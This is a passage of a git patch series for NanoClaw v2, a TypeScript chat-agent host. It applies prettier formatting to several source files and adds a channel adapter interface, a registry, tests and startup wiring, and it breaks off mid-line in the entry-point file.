checkForResponse = (): boolean => { + try { + const db = new Database(sessDbPath, { readonly: true }); + const out = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + return out.length > 0; + } catch { + return false; + } +}; + +await new Promise((resolve) => { + const poll = () => { + if (checkForResponse()) { + resolve(); + return; + } + if (Date.now() - startTime > TIMEOUT_MS) { + console.log(`\n✗ Timed out after ${TIMEOUT_MS / 1000}s`); + printState(); + process.exit(1); + } + const elapsed = Math.floor((Date.now() - startTime) / 1000); + if (elapsed > 0 && elapsed % 10 === 0) { + process.stdout.write(` ${elapsed}s...`); + } + setTimeout(poll, 1000); + }; + poll(); +}); + +// --- Step 4: Print results --- +console.log('\n\n=== Results ==='); +printState(); + +// Clean up test group dir +fs.rmSync(testGroupDir, { recursive: true, force: true }); + +process.exit(0); + +function printState() { + try { + const db = new Database(sessDbPath, { readonly: true }); + const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; + const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; + db.close(); + + console.log('\nmessages_in:'); + for (const r of inRows) { + console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); + } + console.log('\nmessages_out:'); + for (const r of outRows) { + const content = JSON.parse(r.content as string); + console.log(` [${r.id}] kind=${r.kind}`); + console.log(` → ${content.text}`); + } + } catch (err) { + console.log(` (could not read session DB: ${err})`); + } +} diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index 79c49c8..9de0d62 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -14,7 +14,13 @@ import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContaine import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { markContainerIdle, markContainerRunning, markContainerStopped, sessionDbPath, sessionDir } from './session-manager.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDbPath, + sessionDir, +} from './session-manager.js'; import type { AgentGroup, Session } from './types-v2.js'; const onecli = new OneCLI({ url: ONECLI_URL }); @@ -146,13 +152,20 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { fs.mkdirSync(claudeDir, { recursive: true }); const settingsFile = path.join(claudeDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { - fs.writeFileSync(settingsFile, JSON.stringify({ - env: { - CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', - }, - }, null, 2) + '\n'); + fs.writeFileSync( + settingsFile, + JSON.stringify( + { + env: { + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, + null, + 2, + ) + '\n', + ); } // Sync container skills @@ -174,7 +187,10 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { if (fs.existsSync(agentRunnerSrc)) { const srcIndex = path.join(agentRunnerSrc, 'index-v2.ts'); const cachedIndex = path.join(groupRunnerDir, 'index-v2.ts'); - const needsCopy = !fs.existsSync(groupRunnerDir) || !fs.existsSync(cachedIndex) || fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; + const needsCopy = + !fs.existsSync(groupRunnerDir) || + !fs.existsSync(cachedIndex) || + fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs; if (needsCopy) { fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); } @@ -193,14 +209,24 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { // Additional mounts from container config const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; if (containerConfig.additionalMounts) { - const validated = validateAdditionalMounts(containerConfig.additionalMounts, agentGroup.name, !!agentGroup.is_admin); + const validated = validateAdditionalMounts( + containerConfig.additionalMounts, + agentGroup.name, + !!agentGroup.is_admin, + ); mounts.push(...validated); } return mounts; } -async function buildContainerArgs(mounts: VolumeMount[], containerName: string, session: Session, agentGroup: AgentGroup, agentIdentifier?: string): Promise { +async function buildContainerArgs( + mounts: VolumeMount[], + containerName: string, + session: Session, + agentGroup: AgentGroup, + agentIdentifier?: string, +): Promise { const args: string[] = ['run', '--rm', '--name', containerName]; // Environment @@ -234,7 +260,10 @@ async function buildContainerArgs(mounts: VolumeMount[], containerName: string, } } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) + args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); + args.push('-c', 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js'); return args; } From d35386a46edaf6103e198baf8e483d5a90121f43 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Wed, 8 Apr 2026 23:59:08 +0300 Subject: [PATCH 071/485] style: apply prettier formatting to v2 source files Co-Authored-By: Claude Opus 4.6 (1M context) --- src/container-runner-v2.ts | 5 +- src/delivery.ts | 17 +++++- src/host-core.test.ts | 108 ++++++++++++++++++++++++++++++++----- src/host-sweep.ts | 21 ++++++-- src/router-v2.ts | 18 +++++-- src/session-manager.ts | 33 +++++++----- 6 files changed, 168 insertions(+), 34 deletions(-) diff --git a/src/container-runner-v2.ts b/src/container-runner-v2.ts index 9de0d62..dac9c4c 100644 --- a/src/container-runner-v2.ts +++ b/src/container-runner-v2.ts @@ -263,7 +263,10 @@ async function buildContainerArgs( // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); - args.push('-c', 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js'); + args.push( + '-c', + 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js', + ); return args; } diff --git a/src/delivery.ts b/src/delivery.ts index ea52e74..b66c9c2 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -15,7 +15,13 @@ const ACTIVE_POLL_MS = 1000; const SWEEP_POLL_MS = 60_000; export interface ChannelDeliveryAdapter { - deliver(channelType: string, platformId: string, threadId: string | null, kind: string, content: string): Promise; + deliver( + channelType: string, + platformId: string, + threadId: string | null, + kind: string, + content: string, + ): Promise; setTyping?(channelType: string, platformId: string, threadId: string | null): Promise; } @@ -116,7 +122,14 @@ async function deliverSessionMessages(session: Session): Promise { } async function deliverMessage( - msg: { id: string; kind: string; platform_id: string | null; channel_type: string | null; thread_id: string | null; content: string }, + msg: { + id: string; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; + }, session: Session, ): Promise { if (!deliveryAdapter) { diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 9f38604..960e3a6 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -8,8 +8,22 @@ import fs from 'fs'; import path from 'path'; import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; -import { initTestDb, closeDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } from './db/index.js'; -import { resolveSession, writeSessionMessage, initSessionFolder, sessionDir, sessionDbPath, sessionsBaseDir } from './session-manager.js'; +import { + initTestDb, + closeDb, + runMigrations, + createAgentGroup, + createMessagingGroup, + createMessagingGroupAgent, +} from './db/index.js'; +import { + resolveSession, + writeSessionMessage, + initSessionFolder, + sessionDir, + sessionDbPath, + sessionsBaseDir, +} from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; import type { InboundEvent } from './router-v2.js'; @@ -50,8 +64,24 @@ afterEach(() => { describe('session manager', () => { beforeEach(() => { - createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); }); it('should create session folder and DB', () => { @@ -110,7 +140,12 @@ describe('session manager', () => { // Read from the session DB const dbPath = sessionDbPath('ag-1', session.id); const db = new Database(dbPath); - const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; kind: string; status: string; content: string }>; + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ + id: string; + kind: string; + status: string; + content: string; + }>; db.close(); expect(rows).toHaveLength(1); @@ -136,9 +171,34 @@ describe('session manager', () => { describe('router', () => { beforeEach(() => { - createAgentGroup({ id: 'ag-1', name: 'Test Agent', folder: 'test-agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-1', channel_type: 'discord', platform_id: 'chan-123', name: 'General', is_group: 1, admin_user_id: null, created_at: now() }); - createMessagingGroupAgent({ id: 'mga-1', messaging_group_id: 'mg-1', agent_group_id: 'ag-1', trigger_rules: null, response_scope: 'all', session_mode: 'shared', priority: 0, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'discord', + platform_id: 'chan-123', + name: 'General', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + createMessagingGroupAgent({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: now(), + }); }); it('should route a message end-to-end', async () => { @@ -215,7 +275,12 @@ describe('router', () => { channelType: 'discord', platformId: 'chan-123', threadId: null, - message: { id: 'msg-b', kind: 'chat', content: JSON.stringify({ sender: 'B', text: 'Second' }), timestamp: now() }, + message: { + id: 'msg-b', + kind: 'chat', + content: JSON.stringify({ sender: 'B', text: 'Second' }), + timestamp: now(), + }, }); // Both should be in the same session @@ -231,8 +296,24 @@ describe('router', () => { describe('delivery', () => { it('should detect undelivered messages in session DB', () => { - createAgentGroup({ id: 'ag-1', name: 'Agent', folder: 'agent', is_admin: 0, agent_provider: null, container_config: null, created_at: now() }); - createMessagingGroup({ id: 'mg-test', channel_type: 'discord', platform_id: 'chan-test', name: 'Test', is_group: 0, admin_user_id: null, created_at: now() }); + createAgentGroup({ + id: 'ag-1', + name: 'Agent', + folder: 'agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-test', + channel_type: 'discord', + platform_id: 'chan-test', + name: 'Test', + is_group: 0, + admin_user_id: null, + created_at: now(), + }); const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); @@ -245,7 +326,10 @@ describe('delivery', () => { VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, ).run(JSON.stringify({ text: 'Agent response' })); - const undelivered = db.prepare("SELECT * FROM messages_out WHERE delivered = 0").all() as Array<{ id: string; content: string }>; + const undelivered = db.prepare('SELECT * FROM messages_out WHERE delivered = 0').all() as Array<{ + id: string; + content: string; + }>; db.close(); expect(undelivered).toHaveLength(1); diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 431f04a..bcc4666 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -89,12 +89,16 @@ async function sweepSession(session: Session): Promise { for (const msg of staleMessages) { if (msg.tries >= MAX_TRIES) { - db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run(msg.id); + db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run( + msg.id, + ); log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); } else { const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); const backoffSec = Math.floor(backoffMs / 1000); - db.prepare(`UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`).run(msg.id); + db.prepare( + `UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, + ).run(msg.id); log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); } } @@ -102,7 +106,16 @@ async function sweepSession(session: Session): Promise { // 3. Handle recurrence for completed messages const completedRecurring = db .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") - .all() as Array<{ id: string; kind: string; content: string; recurrence: string; process_after: string | null; platform_id: string | null; channel_type: string | null; thread_id: string | null }>; + .all() as Array<{ + id: string; + kind: string; + content: string; + recurrence: string; + process_after: string | null; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + }>; for (const msg of completedRecurring) { try { @@ -118,7 +131,7 @@ async function sweepSession(session: Session): Promise { ).run(newId, msg.kind, nextRun, msg.recurrence, msg.platform_id, msg.channel_type, msg.thread_id, msg.content); // Remove recurrence from the completed message so it doesn't spawn again - db.prepare("UPDATE messages_in SET recurrence = NULL WHERE id = ?").run(msg.id); + db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); } catch (err) { diff --git a/src/router-v2.ts b/src/router-v2.ts index ee08d5e..3859576 100644 --- a/src/router-v2.ts +++ b/src/router-v2.ts @@ -48,13 +48,20 @@ export async function routeInbound(event: InboundEvent): Promise { created_at: new Date().toISOString(), }; createMessagingGroup(mg); - log.info('Auto-created messaging group', { id: mgId, channelType: event.channelType, platformId: event.platformId }); + log.info('Auto-created messaging group', { + id: mgId, + channelType: event.channelType, + platformId: event.platformId, + }); } // 2. Resolve agent group via messaging_group_agents const agents = getMessagingGroupAgents(mg.id); if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { messagingGroupId: mg.id, platformId: event.platformId }); + log.warn('No agent groups configured for messaging group', { + messagingGroupId: mg.id, + platformId: event.platformId, + }); return; } @@ -79,7 +86,12 @@ export async function routeInbound(event: InboundEvent): Promise { content: event.message.content, }); - log.info('Message routed', { sessionId: session.id, agentGroup: match.agent_group_id, kind: event.message.kind, created }); + log.info('Message routed', { + sessionId: session.id, + agentGroup: match.agent_group_id, + kind: event.message.kind, + created, + }); // 5. Wake container const freshSession = getSession(session.id); diff --git a/src/session-manager.ts b/src/session-manager.ts index ae07577..361c198 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -35,7 +35,12 @@ function generateId(): string { * Find or create a session for a messaging group + thread. * Returns the session and whether it was newly created. */ -export function resolveSession(agentGroupId: string, messagingGroupId: string, threadId: string | null, sessionMode: 'shared' | 'per-thread'): { session: Session; created: boolean } { +export function resolveSession( + agentGroupId: string, + messagingGroupId: string, + threadId: string | null, + sessionMode: 'shared' | 'per-thread', +): { session: Session; created: boolean } { // For shared mode, look for any active session with this messaging group (threadId ignored) // For per-thread mode, look for an active session with this specific thread const lookupThreadId = sessionMode === 'shared' ? null : threadId; @@ -83,17 +88,21 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } /** Write a message to a session's messages_in table. */ -export function writeSessionMessage(agentGroupId: string, sessionId: string, message: { - id: string; - kind: string; - timestamp: string; - platformId?: string | null; - channelType?: string | null; - threadId?: string | null; - content: string; - processAfter?: string | null; - recurrence?: string | null; -}): void { +export function writeSessionMessage( + agentGroupId: string, + sessionId: string, + message: { + id: string; + kind: string; + timestamp: string; + platformId?: string | null; + channelType?: string | null; + threadId?: string | null; + content: string; + processAfter?: string | null; + recurrence?: string | null; + }, +): void { const dbPath = sessionDbPath(agentGroupId, sessionId); const db = new Database(dbPath); db.pragma('journal_mode = WAL'); From 7201fe503223ed3f1411c95e41a740d3e7eb36f6 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Thu, 9 Apr 2026 00:10:46 +0300 Subject: [PATCH 072/485] v2 phase 4: channel adapter interface, registry, and host wiring ChannelAdapter interface with setup/deliver/teardown/setTyping lifecycle. Self-registration pattern via channel-registry. Host wiring in index-v2 bridges inbound messages to routeInbound and outbound delivery to adapters. Co-Authored-By: Claude Opus 4.6 (1M context) --- src/channels/adapter.ts | 79 +++++++++ src/channels/channel-registry.test.ts | 227 ++++++++++++++++++++++++++ src/channels/channel-registry.ts | 72 ++++++++ src/db/index.ts | 1 + src/db/messaging-groups.ts | 6 + src/index-v2.ts | 107 +++++++++++- 6 files changed, 483 insertions(+), 9 deletions(-) create mode 100644 src/channels/adapter.ts create mode 100644 src/channels/channel-registry.test.ts create mode 100644 src/channels/channel-registry.ts diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts new file mode 100644 index 0000000..0bd5edd --- /dev/null +++ b/src/channels/adapter.ts @@ -0,0 +1,79 @@ +/** + * v2 Channel Adapter interface. + * + * Channel adapters bridge NanoClaw with messaging platforms (Discord, Slack, etc.). + * Two patterns: native adapters (implement directly) or Chat SDK bridge (wrap a Chat SDK adapter). + */ + +/** Configuration for a registered conversation (messaging group + agent wiring). */ +export interface ConversationConfig { + platformId: string; + agentGroupId: string; + triggerPattern?: string; // regex string (for native channels) + requiresTrigger: boolean; + sessionMode: 'shared' | 'per-thread'; +} + +/** Passed to the adapter at setup time. */ +export interface ChannelSetup { + /** Known conversations from central DB. */ + conversations: ConversationConfig[]; + + /** Called when an inbound message arrives from the platform. */ + onInbound(platformId: string, threadId: string | null, message: InboundMessage): void; + + /** Called when the adapter discovers metadata about a conversation. */ + onMetadata(platformId: string, name?: string, isGroup?: boolean): void; +} + +/** Inbound message from adapter to host. */ +export interface InboundMessage { + id: string; + kind: 'chat' | 'chat-sdk'; + content: unknown; // JS object — host will JSON.stringify before writing to session DB + timestamp: string; +} + +/** Outbound message from host to adapter. */ +export interface OutboundMessage { + kind: string; + content: unknown; // parsed JSON from messages_out +} + +/** Discovered conversation info (from syncConversations). */ +export interface ConversationInfo { + platformId: string; + name: string; + isGroup: boolean; +} + +/** The v2 channel adapter contract. */ +export interface ChannelAdapter { + name: string; + channelType: string; + + // Lifecycle + setup(config: ChannelSetup): Promise; + teardown(): Promise; + isConnected(): boolean; + + // Outbound delivery + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + + // Optional + setTyping?(platformId: string, threadId: string | null): Promise; + syncConversations?(): Promise; + updateConversations?(conversations: ConversationConfig[]): void; +} + +/** Factory function that creates a channel adapter (returns null if credentials missing). */ +export type ChannelAdapterFactory = () => ChannelAdapter | null; + +/** Registration entry for a channel adapter. */ +export interface ChannelRegistration { + factory: ChannelAdapterFactory; + containerConfig?: { + mounts?: Array<{ hostPath: string; containerPath: string; readonly: boolean }>; + env?: Record; + }; +} diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts new file mode 100644 index 0000000..4032b7a --- /dev/null +++ b/src/channels/channel-registry.test.ts @@ -0,0 +1,227 @@ +/** + * Tests for the v2 channel adapter registry and integration with host. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import Database from 'better-sqlite3'; +import fs from 'fs'; + +import type { ChannelAdapter, ChannelSetup, InboundMessage, OutboundMessage } from './adapter.js'; + +// Mock container runner +vi.mock('../container-runner-v2.js', () => ({ + wakeContainer: vi.fn().mockResolvedValue(undefined), + resetContainerIdleTimer: vi.fn(), + isContainerRunning: vi.fn().mockReturnValue(false), + getActiveContainerCount: vi.fn().mockReturnValue(0), + killContainer: vi.fn(), +})); + +// Override DATA_DIR for tests +vi.mock('../config.js', async () => { + const actual = await vi.importActual('../config.js'); + return { ...actual, DATA_DIR: '/tmp/nanoclaw-test-channels' }; +}); + +const TEST_DIR = '/tmp/nanoclaw-test-channels'; + +function now() { + return new Date().toISOString(); +} + +/** Create a mock ChannelAdapter for testing. */ +function createMockAdapter(channelType: string): ChannelAdapter & { delivered: OutboundMessage[]; inbound: InboundMessage[] } { + const delivered: OutboundMessage[] = []; + const inbound: InboundMessage[] = []; + let setupConfig: ChannelSetup | null = null; + + return { + name: channelType, + channelType, + delivered, + inbound, + + async setup(config: ChannelSetup) { + setupConfig = config; + }, + + async teardown() { + setupConfig = null; + }, + + isConnected() { + return setupConfig !== null; + }, + + async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage) { + delivered.push(message); + }, + + async setTyping() {}, + + updateConversations() {}, + }; +} + +describe('channel registry', () => { + // Import fresh modules for each test to avoid registry pollution + beforeEach(async () => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + }); + + afterEach(() => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + }); + + it('should register and retrieve channel adapters', async () => { + const { registerChannelAdapter, getRegisteredChannelNames, getChannelContainerConfig } = await import( + './channel-registry.js' + ); + + registerChannelAdapter('test-channel', { + factory: () => createMockAdapter('test'), + containerConfig: { + env: { TEST_KEY: 'value' }, + }, + }); + + expect(getRegisteredChannelNames()).toContain('test-channel'); + expect(getChannelContainerConfig('test-channel')).toEqual({ + env: { TEST_KEY: 'value' }, + }); + }); + + it('should skip adapters that return null (missing credentials)', async () => { + const { registerChannelAdapter, initChannelAdapters, getActiveAdapters } = await import('./channel-registry.js'); + + registerChannelAdapter('no-creds', { + factory: () => null, + }); + + await initChannelAdapters(() => ({ + conversations: [], + onInbound: () => {}, + onMetadata: () => {}, + })); + + // Should not have any active adapters for channels with null factory returns + const active = getActiveAdapters(); + const noCreds = active.find((a) => a.name === 'no-creds'); + expect(noCreds).toBeUndefined(); + }); +}); + +describe('channel + router integration', () => { + beforeEach(async () => { + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + fs.mkdirSync(TEST_DIR, { recursive: true }); + + const { initTestDb, runMigrations, createAgentGroup, createMessagingGroup, createMessagingGroupAgent } = + await import('../db/index.js'); + const db = initTestDb(); + runMigrations(db); + + createAgentGroup({ + id: 'ag-1', + name: 'Test Agent', + folder: 'test-agent', + is_admin: 0, + agent_provider: null, + container_config: null, + created_at: now(), + }); + createMessagingGroup({ + id: 'mg-1', + channel_type: 'mock', + platform_id: 'chan-100', + name: 'Test Channel', + is_group: 1, + admin_user_id: null, + created_at: now(), + }); + createMessagingGroupAgent({ + id: 'mga-1', + messaging_group_id: 'mg-1', + agent_group_id: 'ag-1', + trigger_rules: null, + response_scope: 'all', + session_mode: 'shared', + priority: 0, + created_at: now(), + }); + }); + + afterEach(async () => { + const { closeDb } = await import('../db/index.js'); + closeDb(); + if (fs.existsSync(TEST_DIR)) fs.rmSync(TEST_DIR, { recursive: true }); + }); + + it('should route inbound message from adapter to session DB', async () => { + const { routeInbound } = await import('../router-v2.js'); + const { findSession } = await import('../db/sessions.js'); + const { sessionDbPath } = await import('../session-manager.js'); + + // Simulate what the adapter bridge does: stringify content, call routeInbound + const inboundContent = { sender: 'TestUser', senderId: 'u1', text: 'Hello from adapter', isFromMe: false }; + + await routeInbound({ + channelType: 'mock', + platformId: 'chan-100', + threadId: null, + message: { + id: 'msg-adapter-1', + kind: 'chat', + content: JSON.stringify(inboundContent), + timestamp: now(), + }, + }); + + // Verify session was created and message written + const session = findSession('mg-1', null); + expect(session).toBeDefined(); + + const dbPath = sessionDbPath('ag-1', session!.id); + const db = new Database(dbPath); + const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; + db.close(); + + expect(rows).toHaveLength(1); + expect(JSON.parse(rows[0].content).text).toBe('Hello from adapter'); + }); + + it('should deliver outbound message through delivery adapter bridge', async () => { + const { setDeliveryAdapter } = await import('../delivery.js'); + const { getChannelAdapter, registerChannelAdapter, initChannelAdapters } = await import('./channel-registry.js'); + + // Register and init a mock adapter + const mockAdapter = createMockAdapter('mock'); + registerChannelAdapter('mock-delivery', { + factory: () => mockAdapter, + }); + + await initChannelAdapters((adapter) => ({ + conversations: [], + onInbound: () => {}, + onMetadata: () => {}, + })); + + // Set up delivery adapter bridge (same pattern as index-v2.ts) + setDeliveryAdapter({ + async deliver(channelType, platformId, threadId, kind, content) { + const adapter = getChannelAdapter(channelType); + if (!adapter) return; + await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + }, + }); + + // Simulate delivery + const adapter = getChannelAdapter('mock'); + if (adapter) { + await adapter.deliver('chan-100', null, { kind: 'chat', content: { text: 'Agent response' } }); + } + + expect(mockAdapter.delivered).toHaveLength(1); + expect((mockAdapter.delivered[0].content as { text: string }).text).toBe('Agent response'); + }); +}); diff --git a/src/channels/channel-registry.ts b/src/channels/channel-registry.ts new file mode 100644 index 0000000..d327d33 --- /dev/null +++ b/src/channels/channel-registry.ts @@ -0,0 +1,72 @@ +/** + * v2 Channel adapter registry. + * + * Channels self-register on import. The host calls initChannelAdapters() at startup + * to instantiate and set up all registered adapters. + */ +import type { ChannelAdapter, ChannelRegistration, ChannelSetup } from './adapter.js'; +import { log } from '../log.js'; + +const registry = new Map(); +const activeAdapters = new Map(); + +/** Register a channel adapter factory. Called by channel modules on import. */ +export function registerChannelAdapter(name: string, registration: ChannelRegistration): void { + registry.set(name, registration); +} + +/** Get a live adapter by channel type. */ +export function getChannelAdapter(channelType: string): ChannelAdapter | undefined { + return activeAdapters.get(channelType); +} + +/** Get all active adapters. */ +export function getActiveAdapters(): ChannelAdapter[] { + return [...activeAdapters.values()]; +} + +/** Get all registered channel names. */ +export function getRegisteredChannelNames(): string[] { + return [...registry.keys()]; +} + +/** Get container config for a channel (used by container-runner for additional mounts/env). */ +export function getChannelContainerConfig(name: string): ChannelRegistration['containerConfig'] { + return registry.get(name)?.containerConfig; +} + +/** + * Instantiate and set up all registered channel adapters. + * Skips adapters that return null (missing credentials). + */ +export async function initChannelAdapters(setupFn: (adapter: ChannelAdapter) => ChannelSetup): Promise { + for (const [name, registration] of registry) { + try { + const adapter = registration.factory(); + if (!adapter) { + log.warn('Channel credentials missing, skipping', { channel: name }); + continue; + } + + const setup = setupFn(adapter); + await adapter.setup(setup); + activeAdapters.set(adapter.channelType, adapter); + log.info('Channel adapter started', { channel: name, type: adapter.channelType }); + } catch (err) { + log.error('Failed to start channel adapter', { channel: name, err }); + } + } +} + +/** Tear down all active adapters. */ +export async function teardownChannelAdapters(): Promise { + for (const [name, adapter] of activeAdapters) { + try { + await adapter.teardown(); + log.info('Channel adapter stopped', { channel: name }); + } catch (err) { + log.error('Failed to stop channel adapter', { channel: name, err }); + } + } + activeAdapters.clear(); +} diff --git a/src/db/index.ts b/src/db/index.ts index 35645cb..33b3a94 100644 --- a/src/db/index.ts +++ b/src/db/index.ts @@ -14,6 +14,7 @@ export { getMessagingGroup, getMessagingGroupByPlatform, getAllMessagingGroups, + getMessagingGroupsByChannel, updateMessagingGroup, deleteMessagingGroup, createMessagingGroupAgent, diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index 40a9702..5d431f9 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -26,6 +26,12 @@ export function getAllMessagingGroups(): MessagingGroup[] { return getDb().prepare('SELECT * FROM messaging_groups ORDER BY name').all() as MessagingGroup[]; } +export function getMessagingGroupsByChannel(channelType: string): MessagingGroup[] { + return getDb() + .prepare('SELECT * FROM messaging_groups WHERE channel_type = ?') + .all(channelType) as MessagingGroup[]; +} + export function updateMessagingGroup( id: string, updates: Partial>, diff --git a/src/index-v2.ts b/src/index-v2.ts index 07da575..eb2428b 100644 --- a/src/index-v2.ts +++ b/src/index-v2.ts @@ -1,19 +1,31 @@ /** * NanoClaw v2 — main entry point. * - * Thin orchestrator: init DB, run migrations, start delivery polls, start sweep. - * Channel adapters are started separately (Phase 4). + * Thin orchestrator: init DB, run migrations, start channel adapters, + * start delivery polls, start sweep, handle shutdown. */ import path from 'path'; import { DATA_DIR } from './config.js'; import { initDb } from './db/connection.js'; import { runMigrations } from './db/migrations/index.js'; +import { getMessagingGroupsByChannel, getMessagingGroupAgents } from './db/messaging-groups.js'; import { ensureContainerRuntimeRunning, cleanupOrphans } from './container-runtime.js'; -import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter } from './delivery.js'; -import { startHostSweep } from './host-sweep.js'; +import { startActiveDeliveryPoll, startSweepDeliveryPoll, setDeliveryAdapter, stopDeliveryPolls } from './delivery.js'; +import { startHostSweep, stopHostSweep } from './host-sweep.js'; +import { routeInbound } from './router-v2.js'; import { log } from './log.js'; +// Channel imports — each triggers self-registration +// import './channels/discord-v2.js'; + +import type { ChannelAdapter, ChannelSetup, ConversationConfig } from './channels/adapter.js'; +import { + initChannelAdapters, + teardownChannelAdapters, + getChannelAdapter, +} from './channels/channel-registry.js'; + async function main(): Promise { log.info('NanoClaw v2 starting'); @@ -27,22 +39,99 @@ async function main(): Promise { ensureContainerRuntimeRunning(); cleanupOrphans(); - // 3. Channel adapters (Phase 4 — placeholder) - // TODO: init channel adapters, set up delivery adapter - // setDeliveryAdapter({ deliver: async (...) => { ... } }); + // 3. Channel adapters + await initChannelAdapters((adapter: ChannelAdapter): ChannelSetup => { + const conversations = buildConversationConfigs(adapter.channelType); + return { + conversations, + onInbound(platformId, threadId, message) { + routeInbound({ + channelType: adapter.channelType, + platformId, + threadId, + message: { + id: message.id, + kind: message.kind, + content: JSON.stringify(message.content), + timestamp: message.timestamp, + }, + }).catch((err) => { + log.error('Failed to route inbound message', { 